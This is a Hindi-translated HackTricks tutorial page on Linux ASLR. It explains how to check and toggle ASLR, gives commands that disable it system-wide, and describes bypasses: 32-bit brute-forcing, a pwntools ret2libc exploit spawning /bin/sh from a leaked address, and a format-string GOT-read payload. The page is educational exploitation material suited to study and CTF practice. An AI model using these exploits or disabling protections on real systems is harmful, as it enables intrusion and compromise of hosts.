hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr

ASLR

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

• यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान्स देखें!
• आधिकारिक PEASS और HackTricks स्वैग प्राप्त करें
• हमारे विशेष NFTs संग्रह The PEASS Family खोजें
• शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह और हमें ट्विटर 🐦 @hacktricks_live** पर फॉलो** करें।
• हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके HackTricks और HackTricks Cloud github repos में।

मूल जानकारी

Address Space Layout Randomization (ASLR) एक सुरक्षा तकनीक है जो ऑपरेटिंग सिस्टम में उपयोग किया जाता है ताकि सिस्टम और एप्लिकेशन प्रक्रियाओं द्वारा उपयोग किए जाने वाले मेमोरी पतों को रैंडमाइज़ करें। इसके द्वारा, यह किसी आक्रमक को प्रक्रियाओं और डेटा के विशिष्ट स्थान का पूर्वानुमान करना बहुत कठिन बना देता है, जैसे स्टैक, हीप, और लाइब्रेरी, इस प्रकार के कुछ प्रकार के एक्सप्लॉइट्स को कम करता है, विशेषकर बफर ओवरफ्लोज़।

ASLR स्थिति की जाँच

Linux सिस्टम पर ASLR स्थिति की जाँच करने के लिए, आप /proc/sys/kernel/randomize_va_space फ़ाइल से मान पढ़ सकते हैं। इस फ़ाइल में स्टोर की गई मान यह तय करती है कि कौन सा प्रकार का ASLR लागू हो रहा है:

• 0: कोई रैंडमाइज़ेशन नहीं। सब कुछ स्थिर है।
• 1: सतर्क रैंडमाइज़ेशन। साझा लाइब्रेरी, स्टैक, mmap(), VDSO पेज रैंडमाइज़ हैं।
• 2: पूर्ण रैंडमाइज़ेशन। सतर्क रैंडमाइज़ेशन द्वारा रैंडमाइज़ किए गए तत्वों के अतिरिक्त, brk() के माध्यम से प्रबंधित मेमोरी भी रैंडमाइज़ है।

आप निम्नलिखित कमांड के साथ ASLR स्थिति की जाँच कर सकते हैं:

cat /proc/sys/kernel/randomize_va_space

ASLR को अक्षम करना

ASLR को अक्षम करने के लिए, आप /proc/sys/kernel/randomize_va_space के मान को 0 पर सेट करते हैं। ASLR को अक्षम करना सामान्यतः टेस्टिंग या डीबगिंग स्थितियों के बाहर सुझावित नहीं है। यहाँ दिया गया है कि आप इसे कैसे अक्षम कर सकते हैं:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

आप एक निष्पादन के लिए ASLR को अक्षम कर सकते हैं:

setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

ASLR सक्रिय करना

ASLR को सक्रिय करने के लिए, आप /proc/sys/kernel/randomize_va_space फ़ाइल में मान 2 लिख सकते हैं। यह आम तौर पर रूट विशेषाधिकारों की आवश्यकता होती है। पूर्ण यादृच्छिकता सक्रिय करने के लिए निम्नलिखित कमांड का उपयोग किया जा सकता है:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

पुनरारंभ द्वारा स्थिरता

echo कमांड के द्वारा किए गए परिवर्तन अस्थायी होते हैं और पुनरारंभ के बाद रीसेट हो जाते हैं। परिवर्तन स्थायी बनाने के लिए, आपको /etc/sysctl.conf फ़ाइल को संपादित करना होगा और निम्नलिखित पंक्ति जोड़नी या संशोधित करनी होगी:

kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

Hindi Translation:

जब `/etc/sysctl.conf` को संपादित कर लिया जाए, तो निम्नलिखित के साथ परिवर्तन लागू करें:

sudo sysctl -p

यह सुनिश्चित करेगा कि आपकी ASLR सेटिंग्स पुनरारंभ होने पर भी बरकरार रहें।

बाईपास

32बिट ब्रूट-फोर्सिंग

PaX प्रक्रिया पता स्थान क्षेत्र को 3 समूहों में विभाजित करता है:

• कोड और डेटा (सक्रिय और असक्रिय): .text, .data, और .bss —> delta_exec चर में 16 बिट का अनियमितता। यह चर प्रत्येक प्रक्रिया के साथ यादृच्छिक रूप से प्रारंभ होता है और प्रारंभिक पतों में जोड़ा जाता है।
• mmap() द्वारा आवंटित स्मृति और साझा पुस्तकालय —> 16 बिट, जिसे delta_mmap नामक किया गया है।
• स्टैक —> 24 बिट, delta_stack के रूप में संदर्भित। हालांकि, यह वास्तव में 11 बिट का उपयोग करता है (10वें से 20वें बाइट समाविष्ट), 16 बाइट के अनुरूप संरेखित —> इससे 524,288 संभावित वास्तविक स्टैक पते होते हैं।

पिछले डेटा 32-बिट सिस्टमों के लिए है और कम होने वाली अंतिम अनियमितता को ASLR को बाईपास करने की संभावना बनाती है जब तक उत्पीड़न सफलतापूर्वक पूरा न हो जाए।

ब्रूट-फोर्स विचार:

• यदि आपके पास एक बड़ा पर्याप्त ओवरफ्लो है जिसमें शेलकोड से पहले एक बड़ा NOP स्लेड हो सकता है, तो आप स्टैक में पतों को ब्रूट-फोर्स कर सकते हैं जब तक फ्लो NOP स्लेड के किसी हिस्से पर छलांग नहीं लेता।
• इसके लिए एक और विकल्प यदि ओवरफ्लो इतना बड़ा नहीं है और उत्पीड़न स्थानीय रूप से चलाया जा सकता है तो संभावना है कि एनओपी स्लेड और शेलकोड को एक पर्यावरण चर में जोड़ा जा सकता है।
• यदि उत्पीड़न स्थानीय है, तो आप libc का आधार पता ब्रूट-फोर्स करने का प्रयास कर सकते हैं (32बिट सिस्टमों के लिए उपयोगी):

for off in range(0xb7000000, 0xb8000000, 0x1000):

• यदि आप एक रिमोट सर्वर पर हमला कर रहे हैं, तो आप libc फ़ंक्शन usleep का पता लगाने के लिए एड्रेस बर्ट-फोर्स कर सकते हैं, उदाहरण के लिए 10 को आर्ग्यूमेंट के रूप में पास करें। यदि किसी समय सर्वर 10 सेकंड अतिरिक्त समय लेता है तो आपने इस फ़ंक्शन का पता लगा लिया है।

{% hint style="success" %} 64बिट सिस्टम में एंट्रोपी अधिक होती है और यह संभव नहीं है। {% endhint %}

लीक होने पर

• चुनौती एक लीक देना है

यदि आपको एक लीक मिलती है (सरल CTF चुनौतियाँ), तो आप उससे ऑफसेट की गणना कर सकते हैं (उदाहरण के लिए मान लें कि आप जानते हैं कि आपके द्वारा उत्पादित सिस्टम में उपयोग किए जाने वाले सटीक libc संस्करण का पता है)। यह उदाहरण शोध यहाँ से उदाहरण से निकाला गया है (अधिक विवरण के लिए उस पृष्ठ की जाँच करें):

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()

• ret2plt

एक बफर ओवरफ्लो का दुरुपयोग करके एक ret2plt का शोषण करना संभव होगा ताकि libc से किसी फ़ंक्शन का पता निकाला जा सके। जांच करें:

{% content-ref url="ret2plt.md" %} ret2plt.md {% endcontent-ref %}

• फॉर्मेट स्ट्रिंग्स अर्बिट्रेरी रीड

जैसे कि ret2plt में, अगर आपके पास फॉर्मेट स्ट्रिंग्स वलनरेबिलिटी के माध्यम से एक अर्बिट्रेरी रीड है तो एक libc फ़ंक्शन का पता निकालना संभव है। निम्नलिखित उदाहरण यहाँ से है:

payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

आप Format Strings arbitrary read के बारे में अधिक जानकारी यहाँ पा सकते हैं:

{% content-ref url="../../format-strings/" %} format-strings {% endcontent-ref %}

Ret2ret

स्टैक के अंदर के पतों का दुरुपयोग करके ASLR को बायपास करने का प्रयास करें:

{% content-ref url="../../stack-overflow/ret2ret.md" %} ret2ret.md {% endcontent-ref %}